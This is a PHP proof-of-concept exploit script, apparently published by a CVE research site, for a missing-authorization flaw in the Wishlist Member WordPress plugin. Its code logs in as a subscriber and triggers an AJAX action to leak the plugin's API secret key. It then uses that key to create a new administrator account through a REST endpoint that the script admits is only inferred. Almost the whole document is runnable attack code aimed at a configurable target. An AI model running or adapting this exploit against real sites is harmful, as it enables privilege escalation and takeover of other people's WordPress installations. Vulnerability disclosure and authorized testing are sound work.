// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-6895 - Wishlist Member <= 3.30.1 - Missing Authorization to Authenticated (Subscriber+) API Secret Key Disclosure and Privilege Escalation via 'wlm3_export_settings' AJAX Action
// NOTE: This PoC demonstrates disclosure of the API secret key, then uses it to create an admin user via the WishList Member API.
// ASSUMPTIONS:
// 1. The WishList Member plugin is active and vulnerable.
// 2. Attacker has valid subscriber credentials (username/password).
// 3. The REST API endpoint follows typical WishList Member patterns (no code diff available).
$target_url = 'https://example.com'; // Change this to the target WordPress URL
$subscriber_user = 'attacker';
$subscriber_pass = 'attackerpass';
// Step 1: Login as subscriber and get WordPress cookies
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $subscriber_user,
'pwd' => $subscriber_pass,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => 1
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);
// Step 2: Trigger the vulnerable AJAX action to get the API secret key
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$ajax_data = array(
'action' => 'wlm3_export_settings'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($ajax_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$ajax_response = curl_exec($ch);
curl_close($ch);
echo "[+] AJAX Response:n";
echo $ajax_response . "nn";
// Parse JSON to extract secret key (assuming response structure from plugin)
$json = json_decode($ajax_response, true);
if (isset($json['api_secret_key'])) {
$api_key = $json['api_secret_key'];
echo "[+] API Secret Key: $api_keyn";
} elseif (isset($json['secret'])) {
$api_key = $json['secret'];
echo "[+] API Secret Key: $api_keyn";
} else {
echo "[!] Could not extract API key. Check the raw response for key name.n";
exit;
}
// Step 3: Use the API key to create a new admin user via WishList Member REST API
// NOTE: The exact endpoint and payload structure is inferred from plugin conventions; adjust if needed.
$api_endpoint = $target_url . '/wp-json/wishlist-member/v1/users';
$user_data = array(
'username' => 'admin_takeover_' . time(),
'password' => 'P@ssw0rd_' . time(),
'email' => 'takeover_' . time() . '@example.com',
'role' => 'administrator',
'membership_level' => 'default' // Arbitrary level; the API key allows creating new levels as needed
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $api_endpoint);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($user_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Content-Type: application/json',
'Authorization: Bearer ' . $api_key
));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$api_response = curl_exec($ch);
curl_close($ch);
echo "[+] REST API Response:n";
echo $api_response . "nn";
// Clean up cookie file
unlink('/tmp/cookies.txt');
?>